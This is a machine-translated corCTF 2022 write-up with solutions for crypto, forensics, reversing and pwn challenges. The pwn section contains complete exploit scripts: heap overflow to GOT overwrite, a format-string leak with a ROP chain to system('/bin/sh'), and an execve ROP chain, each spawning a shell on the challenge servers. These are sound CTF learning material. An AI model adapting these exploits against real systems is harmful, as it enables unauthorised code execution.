当前位置:网站首页>[corctf 2022] section

[corctf 2022] section

2022-08-09 22:37:00 Shi's time

目录

crypto

tadpole

luckyguess

exchanged

 crypto hiDe

forensics

whack-a-frog

rev

Microsoft ️ Linux

pwn

cshell2

babypwn

zigzag



crypto

tadpole

This game plays linear equations to the extreme.先看原题

from Crypto.Util.number import bytes_to_long, isPrime
from secrets import randbelow

p = bytes_to_long(open("flag.txt", "rb").read())
assert isPrime(p)

a = randbelow(p)
b = randbelow(p)

def f(s):
    return (a * s + b) % p

print("a = ", a)
print("b = ", b)
print("f(31337) = ", f(31337))
print("f(f(31337)) = ", f(f(31337)))

数据

a =  7904681699700731398014734140051852539595806699214201704996640156917030632322659247608208994194840235514587046537148300460058962186080655943804500265088604049870276334033409850015651340974377752209566343260236095126079946537115705967909011471361527517536608234561184232228641232031445095605905800675590040729
b =  16276123569406561065481657801212560821090379741833362117064628294630146690975007397274564762071994252430611109538448562330994891595998956302505598671868738461167036849263008183930906881997588494441620076078667417828837239330797541019054284027314592321358909551790371565447129285494856611848340083448507929914
f(31337) =  52926479498929750044944450970022719277159248911867759992013481774911823190312079157541825423250020665153531167070545276398175787563829542933394906173782217836783565154742242903537987641141610732290449825336292689379131350316072955262065808081711030055841841406454441280215520187695501682433223390854051207100
f(f(31337)) =  65547980822717919074991147621216627925232640728803041128894527143789172030203362875900831296779973655308791371486165705460914922484808659375299900737148358509883361622225046840011907835671004704947767016613458301891561318029714351016012481309583866288472491239769813776978841785764693181622804797533665463949

The title gives two parameters of a linear equationa,band two results,求模

Obviously there are formulas,可以得到p

f + kp = a * s + b

So only one blast is required

from Crypto.Util.number import bytes_to_long, long_to_bytes

a = ...
b = ...
f1 = ...
f2 = ...
#f + kp = a * s + b
kp = a*31337+b - f1 
for i in range(1, 31337):
    if kp%i == 0:
        print(long_to_bytes(kp//i))

#b'corctf{1n_m4th3m4t1c5,_th3_3ucl1d14n_4lg0r1thm_1s_4n_3ff1c13nt_m3th0d_f0r_c0mput1ng_th3_GCD_0f_tw0_1nt3g3rs} <- this is flag adm'

luckyguess

It is also a linear equation problem

#!/usr/local/bin/python
from random import getrandbits

p = 2**521 - 1
a = getrandbits(521)
b = getrandbits(521)
print("a =", a)
print("b =", b)

try:
    x = int(input("enter your starting point: "))
    y = int(input("alright, what's your guess? "))
except:
    print("?")
    exit(-1)

r = getrandbits(20)
for _ in range(r):
    x = (x * a + b) % p

if x == y:
    print("wow, you are truly psychic! here, have a flag:", open("flag.txt").read())
else:
    print("sorry, you are not a true psychic... better luck next time")

This is a background question,All parameters are givena,b,p,要求输入xand after a random round of operationsy.The random number here is uncontrollable,To predicty那一定有y==x才行,So solve the formula

x = x *a + b mod pa =>  x = b*(1-a)^-1

连接脚本

from pwn import *
from gmpy2 import invert

p = remote('be.ax', 31800)

context.log_level = 'debug'
pa = 2**521 - 1
p.recvuntil(b'=')
a = int(p.recvline())
p.recvuntil(b'=')
b = int(p.recvline())

#x = x *a + b mod pa =>  x = b*(1-a)^-1
x = (b * invert(1-a, pa))%pa

p.sendline(str(x).encode())
p.sendline(str(x).encode())


p.recv()
'''
a = 5048175380154021587430252757047193271543600756035452140096384677751977215680281637179725004708991538263250194593058212039942945916433928658715669070860230768
b = 1124958709506779159508830030068226834098348300599667614411448690759630115345734762277408095416415601629422762018099642008496282066203998680106829277611390071
enter your starting point: 5581603144036847562006941807490262848215449288228515626126429426577632468291584545349367870521423069598668508427786978032768650395493782081195337504075349717
alright, what's your guess? 5581603144036847562006941807490262848215449288228515626126429426577632468291584545349367870521423069598668508427786978032768650395493782081195337504075349717
wow, you are truly psychic! here, have a flag: corctf{r34l_psych1c5_d0nt_n33d_f1x3d_p01nt5_t0_tr1ck_th15_lcg!}
'''

exchanged

The same is linear and all parameters are givena,b,pand initialsand two through random number rounds(a_priv,b_priv)运算后的结果AB,显然经过a_priv+b_priv运算和b_priv+a_priv的值是相同的,拿这个值作为key将flag用AES加密.

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from secrets import randbelow

p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847
a = randbelow(p)
b = randbelow(p)
s = randbelow(p)

print("p =", p)
print("a =", a)
print("b =", b)
print("s =", s)

a_priv = randbelow(p)
b_priv = randbelow(p)

def f(s):
    return (a * s + b) % p

def mult(s, n):
    for _ in range(n):
        s = f(s)
    return s

A = mult(s, a_priv)
B = mult(s, b_priv)

print("A =", A)
print("B =", B)

shared = mult(A, b_priv)
assert mult(B, a_priv) == shared

flag = open("flag.txt", "rb").read()
key = sha256(long_to_bytes(shared)).digest()[:16]
iv = long_to_bytes(randint(0, 2**128))
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
print(iv.hex() + cipher.encrypt(pad(flag, 16)).hex())

 由于key是经过sha256加密后的结果,So it can be confirmed that this step is not reversed,The question becomes a requestshared

Get a formula by hand first

s(k) = s0 * a^k + a^(k-1)*b + a^(k-2)*b + ... + a^0 * b
s(k) = s0 * a^k + b * (1- a^k)/(1 - a)  #等比数列求和

 It can be calculated by this formulaa_priv和b_priv并计算出s(a_priv+b_priv),然后通过sha256Get the key to decrypt

from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from gmpy2 import invert

p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847
a = 118090659823726532118457015460393501353551257181901234830868805299366725758012165845638977878322282762929021570278435511082796994178870962500440332899721398426189888618654464380851733007647761349698218193871563040337609238025971961729401986114391957513108804134147523112841191971447906617102015540889276702905
b = 57950149871006152434673020146375196555892205626959676251724410016184935825712508121123309360222777559827093965468965268147720027647842492655071706063669328135127202250040935414836416360350924218462798003878266563205893267635176851677889275076622582116735064397099811275094311855310291134721254402338711815917
s = 35701581351111604654913348867007078339402691770410368133625030427202791057766853103510974089592411344065769957370802617378495161837442670157827768677411871042401500071366317439681461271483880858007469502453361706001973441902698612564888892738986839322028935932565866492285930239231621460094395437739108335763
A = 27055699502555282613679205402426727304359886337822675232856463708560598772666004663660052528328692282077165590259495090388216629240053397041429587052611133163886938471164829537589711598253115270161090086180001501227164925199272064309777701514693535680247097233110602308486009083412543129797852747444605837628
B = 132178320037112737009726468367471898242195923568158234871773607005424001152694338993978703689030147215843125095282272730052868843423659165019475476788785426513627877574198334376818205173785102362137159225281640301442638067549414775820844039938433118586793458501467811405967773962568614238426424346683176754273
iv = bytes.fromhex('e0364f9f55fc27fc46f3ab1dc9db48fa')
c  = bytes.fromhex('482eae28750eaba12f4f76091b099b01fdb64212f66caa6f366934c3b9929bad37997b3f9d071ce3c74d3e36acb26d6efc9caa2508ed023828583a236400d64e')

#A = s*a^k + b(1-a^k)/(1-a)
#A = a^k *(s - b*invert(1-a,p)) + b*invert(1-a,p)
#a^k = (A-b*invert(1-a,p))*invert(s - b*invert(1-a,p), p)
aka = ((A-b*invert(1-a,p))*invert(s - b*invert(1-a,p), p) )%p
bkb = ((B-b*invert(1-a,p))*invert(s - b*invert(1-a,p), p) )%p
print(aka)
print(bkb)
aka = 24613491966563701765521477438054285870183028480863197732196297187875105642012237693551457530331879651792897609680756435851960474759678723338219180075181651445427011972796264766181632783192359131103397706894059643215192702656135782012798561637515092706514444988849675712196886226529268464301268493074729091847
bkb = 29063376931172371845287877942976546880866929884320337167256459418671069174406604047580864378202023374962552151810961809116550565333153326548921316600450968620011009959635511041373577278160790705707556755722529730076215544604366790071634105119885320904079148327047425343620052566118072391261841024238109807687
#a_priv = discrete_log(aka,mod(a,p))  #For discrete logarithmssage计算
#b_priv = discrete_log(bkb,mod(a,p))
a_priv = 63497966771228335993935218724355716676359926182967975463093060105894867914802051403524263838451533117998140812842659902100945139428076742018151358770711075499718955791059569760306592803008376586431708302909649602374612770031446609941268056564386982932718212036534269872682126736591975854896102855270700008372
b_priv = 72294308363142635191285137067271613704518381689222403756427895774621470359587678998089163134800904011887080683864659561441585487866597353332892511005327144670737921076740544522591181991307617152388962472418690715521378068114703790176987564145359661515790454979281591952064634314009219343525018858317272168846

shared = (pow(a, a_priv+b_priv, p)*s + b*(1- pow(a, a_priv+b_priv, p))*invert(1-a, p) )%p
key = sha256(long_to_bytes(shared)).digest()[:16]
print(key)
aes = AES.new(key, AES.MODE_CBC, iv=iv)
m = aes.decrypt(c)
print(m)
#b'corctf{th1s_lcg_3xch4ng3_1s_4_l1ttl3_1ns3cur3_f0r_n0w}\n\n\n\n\n\n\n\n\n\n'

 crypto hiDe

I have some ideas for this question, but I didn't figure it out,后来看WP才明白

#!/usr/local/bin/python
import random
import time
import math
import binascii
from Crypto.Util.number import *

p, q = getPrime(512), getPrime(512)
n = p * q
phi = (p - 1) * (q - 1)

flag = open('./flag.txt').read().encode()

random.seed(int(time.time()))

def encrypt(msg):
    e = random.randint(1, n)
    while math.gcd(e, phi) != 1:
        e = random.randint(1, n)
    pt = bytes_to_long(msg)
    ct = pow(pt, e, n)
    return binascii.hexlify(long_to_bytes(ct)).decode()


def main():
    print('Secure Encryption Service')
    print('Your modulus is:', n)
    while True:
        print('Options')
        print('-------')
        print('(1) Encrypt flag')
        print('(2) Encrypt message')
        print('(3) Quit')
        x = input('Choose an option: ')
        if x not in '123':
            print('Unrecognized option.')
            exit()
        elif x == '1':
            print('Here is your encrypted flag:', encrypt(flag))
        elif x == '2':
            msg = input('Enter your message in hex: ')
            print('Here is your encrypted message:', encrypt(binascii.unhexlify(msg)))
        elif x == '3':
            print('Bye')
            exit()

if __name__ == '__main__':
    main()

有两个选项,1是直接输出flag的密文,其中e为随机数;2is the input data giving the ciphertext of the input.

如果输入2as plaintext,可以通过返回的c,很容易解出e

First, the data obtained from the remote according to the idea,The time to fetch the data 1659918157

Secure Encryption Service
Your modulus is: 95668340607036964615111505966311942047304843052888612028711550569283110382200751528924580078706350405403086359640271246828347829815359123907504289267555365291379887507682530799359640496590978979804044665256976633035512363709748038268981963861185055519567249982691069811108727546331703206393656946171973096651
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 24169310aa5f845162e5a4b29a83656e0df0c7d72f79d778289e4d4ef1836e4e5e030186576aba18d880a90b4835068aa0c2fb376a89f2147a433bc5f6e3ee9c917a7f79404c52a6fcddc4cc61ef215ea48295c34b10b1f8b60776e0c89fce7eea5948165f0732810bba0e1702d7c6142ca04e8ac8945ef1f573f1b60f6abb47
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 1
Here is your encrypted flag: 4dd720572b85ef32b6038f36821a16848343147a9d096a06eb466ed248ae8f14d4bd6b84fea98dd4c0e2594c259c27d7ccd840e331e823dc21cc9e5bb0b2d99efc95ad646d9a30df88652bb002c84555078ae89d3a07218c911ba053370e9b69722b20a98923ff514096862ca71fc2894468320449e6d6081d5bc2bdafbf026c
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 

Looks like a chosen-ciphertext attack,实际上不是,Used here in fronttime.time()to set the random number seed,Seeds when the remote connects,所以这些eIt can be obtained by blasting seeds,唯一的问题是n需要分解.

Here is another assumption,在encrypt里对eto filter by random values,把与phi_hIncompatible removal.Selected twiceeIf it is not an even number, then with high probabilityphi_n无关,所以可以把encryptAfter simplification blasting

def get_e():
    e = random.randint(1, n)
    while e % 2 == 0:
        e = random.randint(1, n)
    return e

def encrypt(msg, n):
    e = get_e()
    ct = pow(msg, e, n)
    return ct

This can get the first2个cipherand predicted the first2个e,Then filter out the non-coprime oneseThen it becomes a common mode attack.

from pwn import *
import time
from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse
from math import gcd

def extended_gcd(x, y):
    # a*x + b*y = 1
    a = 0
    b = 1
    lasta = 1
    lastb = 0
    while y != 0:
        quo = x // y
        x, y = y, x % y
        a, lasta = lasta - quo * a, a
        b, lastb = lastb - quo * b, b
    return lasta, lastb

#Simplify the next onee  当eWhen it is not an even number, it has a high probability of ANDphi_n互质,Blast a few times to be successful
def get_e():
    e = random.randint(1, n)
    while e % 2 == 0:
        e = random.randint(1, n)
    return e

def encrypt(msg, n):
    e = get_e()
    ct = pow(msg, e, n)
    return ct
    
def get_c1():
    p.sendlineafter(b'Choose an option: ', b'2')
    p.sendlineafter(b'Enter your message in hex: ', b'02')
    p.recvuntil(b'Here is your encrypted message: ')
    return int(p.recvline(), 16)

def get_cipher():
    p.sendlineafter(b'Choose an option: ', b'1')
    p.recvuntil(b'Here is your encrypted flag: ')
    return int(p.recvline(), 16)

context.log_level = 'debug'

while True:
    #get seed  Near and far seed synchronization
    seed = int(time.time())
    p = remote('be.ax', 31124)
    p.recvuntil(b'Your modulus is: ')
    n = int(p.recvline())
    print('n: ', n)
    c_remote = get_c1()
    end = int(time.time())
    ok = False
    while end >= seed:
        random.seed(seed)
        c_local = encrypt(2, n)
        if c_local == c_remote:
            ok = True
            break
        seed += 1
    if not ok:
        p.close()
        continue
    print('seed: ', seed)
    
    #Take two coprimese的密文
    random.seed(seed)
    encrypt(1,n)
    e1 = e2 =  get_e()
    flag1 = get_cipher()
    while gcd(e1,e2) != 1:
        flag2 = get_cipher()
        e2 = get_e()
    assert gcd(e1, e2) == 1
    
    #Common mode attack solution
    a,b = extended_gcd(e1,e2)
    if a<0:
        flag1 = inverse(flag1, n)
        a = -a
    if b<0:
        flag2 = inverse(flag2, n)
        b = -b 
    flag = long_to_bytes((pow(flag1, a, n)*pow(flag2, b, n)) % n)
    if b'corctf{' in flag:
        print(flag)
        break
        
    p.close()
    
#corctf{y34h_th4t_w4snt_v3ry_h1dd3n_tbh_l0l}       

forensics

whack-a-frog

The attachment is a grab bag

There are plenty here mousemoveSo guess is to take point drawing,前面x,yis the location of the point

Get these points first

<?php
$data = file_get_contents("whacking-the-froggers.pcap");

preg_match_all("|/anticheat\\?x=([0-9]*)&y=([0-9]*)&event=mousemove|iUms", $data, $reg);
print_r($reg);

$d ='';
foreach($reg[1] as $i => $x){
	$y = $reg[2][$i];
	$d.= "$x,$y\n";
}

file_put_contents('d.dat', $d);
?>

 Then use the program to draw

from PIL import Image

data = open('d.dat').read()[:-1].split('\n')

img = Image.new('RGB',(600,100))
for v in data:
    print(v)
    k = v.split(',')
    img.putpixel((int(k[0]), int(k[1])), (255,0,0))

img.save('a.png')

#corctf{LILYXOX}
    

Get the graph plus the shell alreadyflag

rev

Microsoft ️ Linux

附件https://static.cor.team/uploads/646804dc1464496e49422efa4ca83cf62f82f080e3d62a40f2188c97740d042d/m%3C3l.exe

用idaDon't say it after opening itF5It will get stuck if you look at it normally.First saw this break

这里用了rol,就是循环左移0x0dwill be5Second is before3位和后5位互换位置

There are hints at the backhalfShould be half,It is indeed half done,The other half must be below.把边idaThe part that cannot be analyzed is forced to be converted into code

 Here you can see that a number is ANDed with the input value(XOR is more commonly used,and rare),The AND operation actually just removes certain bits,It can still be seen in a big way.When writing problem-solving scripts, I am used to writing XOR,It passed when it was found to be submitted.It seems that this pit was missed by no opinion.

a = bytes.fromhex('6CED4E6C8ECC6F66AD4C4E866C6685660F8E')
a = bytes([((v<<3)|((v>>5)&7))&0xff for v in a])
print(a)   
 
b = b'>ci!>Uy<cjx<8e,,<p'
for i in range(256):
    c = bytes([v^i for v in b])
    if c[-1:] == b'}':
        print(a+c)
    
#corctf{3mbr4c3,3xt3nd,3Xt1ngu15h!!1}    

pwn

cshell2

有很多pwn题,这个是最简单的,Others do not understand.

This question is not openPIE而且got表可写,There is an overflow while writing.在editOffset inward64Data is written at place but the length is only reduced32

unsigned __int64 m4edit()
{
  unsigned __int8 v1; // [rsp+7h] [rbp-9h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter index: ");
  __isoc99_scanf("%hhu", &v1);
  if ( v1 <= 0xEu && qword_4040C8[2 * v1] )
  {
    puts("Input firstname: ");
    read(0, *((void **)&unk_4040C0 + 2 * v1), 8uLL);
    puts("Input middlename: ");
    read(0, (void *)(*((_QWORD *)&unk_4040C0 + 2 * v1) + 8LL), 8uLL);
    puts("Input lastname: ");
    read(0, (void *)(*((_QWORD *)&unk_4040C0 + 2 * v1) + 16LL), 8uLL);
    puts("Input age: ");
    __isoc99_scanf("%lu", *((_QWORD *)&unk_4040C0 + 2 * v1) + 24LL);
    printf("Input bio: (max %d)\n", qword_4040C8[2 * v1] - 32LL);
    read(0, (void *)(*((_QWORD *)&unk_4040C0 + 2 * v1) + 64LL), qword_4040C8[2 * v1] - 32LL);// 溢出32
    puts("Successfully edit'd!");
  }
  return v2 - __readfsqword(0x28u);
}

先建0x408的块4个,再编辑0,Put through overflow1The header is changed to0x821这样释放1就会把1和2space is releasedunsort再建408后unsortmark will be placed2块位置,show就能得到libc

获取libcThen go directlygotwrite on the tablesystem就行了,Because it is written several times here,每次都得写,所以会影响到gotitems in the table,Need to put the initial value when writing(指向plt表)填回去.

from pwn import *

context(arch='amd64')

menu = b"5 re-age user\n"
def add(idx, size, s1=b'1', s2=b'2', s3=b'3', age=0, msg=b'AAAA'):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b'Enter index: \n', str(idx).encode())
    p.sendlineafter(b'Enter size (1032 minimum): \n', str(size).encode())
    p.sendafter(b'Input firstname: \n', s1)
    p.sendafter(b'Input middlename: \n', s2)
    p.sendafter(b'Input lastname: \n', s3)
    p.sendlineafter(b'Input age: \n', str(age).encode())
    p.sendafter(b'Input bio: \n', msg)

def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b": ", str(idx).encode())

def free(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b": ", str(idx).encode())

def edit(idx, s1=b'1', s2=b'2', s3=b'3', age=0, msg=b'BBBB'):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b'Enter index: ', str(idx).encode())
    p.sendafter(b'Input firstname: \n', s1)
    p.sendafter(b'Input middlename: \n', s2)
    p.sendlineafter(b'Input lastname: \n', s3)
    p.sendlineafter(b'Input age: \n', str(age).encode())
    p.sendafter(b')\n', msg)

def edit_age(idx, age):
    p.sendlineafter(menu, b'5')
    p.sendlineafter(b": ", str(idx).encode())
    p.sendlineafter(b": ", str(age).encode())

#p = process('./pwn')
p = remote('be.ax', 31667)

elf = ELF('./pwn')
libc_elf = ELF('./libc.so.6')
one = [0x46daf, 0xea0aa, 0xea0b2, 0xea0b7]

context.log_level='debug'

for i in range(4):
    add(i, 0x408)


edit(0, msg=b'\x00'*(0x408-0x40)+ p64(0x821))
free(1)
add(1, 0x408)
add(4, 0x420)  #2 ->largebin
show(2)
p.recvuntil(b"last: ")
heap_base = u64(p.recvuntil(b' ',drop=True).ljust(8, b'\x00')) - 0xab0
p.recvuntil(b"first: ")
libc_base = u64(p.recvuntil(b' ', drop=True).ljust(8, b'\x00')) - 0x450 - libc_elf.sym['main_arena']
libc_elf.address = libc_base
print(hex(heap_base), hex(libc_base))


add(5, 0x408) #5==2
free(0)
free(5)
edit(2, s1=p64((elf.got['free'] -0x18)^ ((heap_base+0xac0)>>12)))

add(6, 0x408, s1=b'/bin/sh\x00')
add(7, 0x408, s1=p64(0x403e10), s2=p64(0), s3=p64(0), age=libc_elf.sym['system'], msg=p64(elf.plt['malloc']))

free(6)
p.interactive()

#gdb.attach(p)
#pause()

#corctf{m0nk3y1ng_0n_4_d3bugg3r_15_th3_b35T!!!}

babypwn

This question gives the original code,There is one in a loopfgets(text,128,stdin)这里text的位置与rbp相邻长度0x60The overflow here is just enoughpop_rdi,/bin/sh,system.Another loophole is in front of this sentenceprintf(text)不带参数的printf,It can be written arbitrarily with any loophole

use libc;
use libc_stdhandle;

fn main() {
    unsafe {
        libc::setvbuf(libc_stdhandle::stdout(), &mut 0, libc::_IONBF, 0);

        libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char);
        libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char);

        let text = [0 as libc::c_char; 64].as_mut_ptr();
        libc::fgets(text, 64, libc_stdhandle::stdin());
        libc::printf("Hi, \0".as_ptr() as *const libc::c_char);
        libc::printf(text);  //格式化字符串漏洞

        libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char);
        libc::fgets(text, 128, libc_stdhandle::stdin());  //写溢出
        
        libc::printf(format!("{}\n\0", r#"..."#).as_ptr() as *const libc::c_char);
    }
}

A big problem with this problem is that the program cannot be run,Not running locally and in useprintf漏洞libc里找不到.后来看了别人的WP,The position he uses is67也就是向下0x1e8的位置,If not locallydebugIf so, it's a bit of a hole.

from pwn import *

libc_elf = ELF("libc.so.6")

context(arch='amd64', log_level='debug')

#sock = Process("./babypwn")
p = remote("be.ax", 31801)
p.sendlineafter(b"name?\n", b"%67$p")
p.recvuntil(b'Hi, ')
libc_base = int(p.recvline(), 16) - 0x20e15e
libc_elf.address = libc_base

pop_rdi = libc_base + 0x0000000000023b6a #: pop rdi ; ret

payload = b"A"*0x60
payload += p64(pop_rdi +1)
payload += p64(pop_rdi)
payload += p64(next(libc_elf.search(b"/bin/sh")))
payload += p64(libc_elf.sym["system"])
p.sendlineafter(b"emote?\n", payload)

p.interactive()

#corctf{why_w4s_th4t_1n_rust???}

zigzag

说是zig写的程序,idaTurned out a mess,Fortunately, the original code was given,But it is obviously limited that there may be a write overflow,I can't see anything from the source code.Also it's useless for a statically compiled programlibc,And there is no heap function.

pub fn edit() !void {
    var idx: usize = undefined;
    var size: usize = undefined;

    try stdout.print("Index: ", .{});
    idx = try readNum();

    if (idx == ERR or idx >= chunklist.len or @ptrToInt(chunklist[idx].ptr) == NULL) {
        try stdout.print("Invalid index!\n", .{});
        return;
    }

    try stdout.print("Size: ", .{});
    size = try readNum();

    if (size > chunklist[idx].len and size == ERR) {
        try stdout.print("Invalid size!\n", .{});
        return;
    }

    chunklist[idx].len = size;

    try stdout.print("Data: ", .{});
    _ = try stdin.read(chunklist[idx]);  #溢出
}

如是我闻:

When two blocks are built, it can be found that it will build the block inmapped块里,每块长1000,后跟一个1000的块(cur_ptr*2, chunk_ptr, edit_len),Since there is no limit when writing, you can try to overwrite the management block(内容不详,Temporarily called the management block,Actually both read and write are usedchunklist里的指针和size,The pointers here seem to be useless)的指针.

Building a block after overwriting the pointer will build the block to the pointer+10处,会在+10处开始写数据

So the general idea is:

  1. edit修改长度,然后show得到堆地址
  2. Modify the management block pointer tochunklist-0x10,Block writeargc_argv_ptr让1block points toargc_argv_ptr
  3. show(1)得到栈地址-0xc8is the current function return position
  4. 将1The block pointer is modified to the stack return address
  5. Write at the return addressrop 这里由于没有pop rdxNeed to find a replacementgadget,恰好有个or rdx,rdi 只需要先在rdiFill in a pointer0pointer againor rdx,rdiThat is, to achieve fillingrdx.Another pit is in the next oneretThere is a position in the front that will be modified,This needs to be long enoughpop路过,这里用pop_r14,r15,rbpThree pass by,最后是执行execve的syscall 59
from pwn import *

def add(index, size, data):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b'Index: ', str(index).encode())
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Data: ', data)
def delete(index):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b'Index: ', str(index).encode())
def show(index):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b'Index: ', str(index).encode())
    return p.recvline()
def edit(index, size, data):
    p.sendlineafter(b"> ", b"4")
    p.sendlineafter(b'Index: ', str(index).encode())
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Data: ', data)

elf = ELF("./zigzag")

p = process("./zigzag")
#p = remote("be.ax", 31278)
context(arch='amd64', log_level='debug')

# Leak heap pointer
add(0, 0x10, b"/bin/sh\0")
add(1, 0x20, b"B")
edit(1, 0x1020, b"B"*0x10)
'''
gdb-peda$ vmmap
Start              End                Perm	Name
0x00200000         0x00201000         r--p	/home/shi/2022corctf/zigzag/zigzag
0x00201000         0x00204000         r-xp	/home/shi/2022corctf/zigzag/zigzag
0x00204000         0x00205000         rw-p	/home/shi/2022corctf/zigzag/zigzag
0x00205000         0x00209000         rw-p	mapped
0x00007f785dd73000 0x00007f785dd77000 rw-p	mapped
0x00007fffdfebd000 0x00007fffdfede000 rw-p	[stack]
0x00007fffdffca000 0x00007fffdffce000 r--p	[vvar]
0x00007fffdffce000 0x00007fffdffd0000 r-xp	[vdso]
0xffffffffff600000 0xffffffffff601000 --xp	[vsyscall]
gdb-peda$ x/6gx &chunklist 
0x208128 <chunklist>:	0x00007f785dd73000	0x0000000000000010
0x208138 <chunklist+16>:	0x00007f785dd75000	0x0000000000001020
0x208148 <chunklist+32>:	0x00000000dead0000	0x0000000000000000
gdb-peda$ x/4gx 0x00007f785dd73000 
0x7f785dd73000:	0x0068732f6e69622f	0x0000000000000000
0x7f785dd73010:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/4gx 0x00007f785dd75000 
0x7f785dd75000:	0x4242424242424242	0x4242424242424242
0x7f785dd75010:	0x4242424242424242	0x4242424242424242
gdb-peda$ x/4gx 0x00007f785dd76000 
0x7f785dd76000:	0x00007f785dd76042	0x00007f785dd76000
0x7f785dd76010:	0x00007f785dd75000	0x0000000000010001

0120| 0x7fffdfedc790 --> 0xdead0000 
0128| 0x7fffdfedc798 --> 0x202c04 (<std.start.posixCallMainAndExit+836>:	movzx  eax,WORD PTR [rsp+0x60])  <---ROP start
0136| 0x7fffdfedc7a0 --> 0x1 

0312| 0x7fffdfedc850 --> 0x0 
0320| 0x7fffdfedc858 --> 0x2028c0 (<std.start.posixCallMainAndExit>:	push   rbp)
0328| 0x7fffdfedc860 --> 0x1                              <------- *argc_argv_ptr
0336| 0x7fffdfedc868 --> 0x7fffdfedd431 ("./zigzag")

chunklist{ptr,size} *ptr+1000 = top_chunk{heap_base, heap_base, last_chunk, last_len}
'''
heap_base = u64(show(1)[0x1000:0x1008]) #- ord('B')
print("heap = ",hex(heap_base))
# Overwrite A pointer
payload  = b"B"*0x1000 + p64(heap_base)*2 + p64(elf.sym["chunklist"] - 0x10)
edit(1, 0x1018, payload) #size>=len(data)
add(2, 0x20, p64(elf.sym["argc_argv_ptr"])+ p64(0x60)) #chunk1->ptr:argc_argv_ptr #remote +0x1000  2.size==1.size=0x20
stack_addr = u64(show(1)[:8]) - 0xc8  
print("stack:", hex(stack_addr))
edit(2, 0x20, p64(stack_addr)+ p64(0x100)) #chunk1->ptr:stack_ret

pop_rdi = 0x0000000000203147 # pop rdi ; ret
pop_rsi = 0x000000000020351b # pop rsi ; ret
pop_rsi_r15 = 0x0000000000203b27 # pop rsi ; pop r15 ; ret
pop_rax_syscall = 0x0000000000201fcf # pop rax ; syscall 
or_rdx_rdi = 0x0000000000203bde # or rdx, rdi ; ret
pop_r14_r15_rbp = 0x0000000000201f2e # pop r14 ; pop r15 ; pop rbp ; ret
pop_rax_mov_rsi_rcx_syscall = 0x0000000000201fc6 # pop rax ; mov rsi, rcx ; syscall
#rdx = 0x205100
#execve(/bin/sh,0,0) rax=0x3b *rdi=/bin/sh rsi=0 *rdx=0
#pop r14... jump used space
ROP = flat(pop_rdi, 0x205100, or_rdx_rdi, pop_rsi,0,pop_r14_r15_rbp,0,0,0,pop_rdi,heap_base-0x3000, pop_rax_syscall, 0x3b)
edit(1, 0x100, ROP)
p.interactive()

原网站

版权声明
本文为[Shi's time]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/221/202208091932598259.html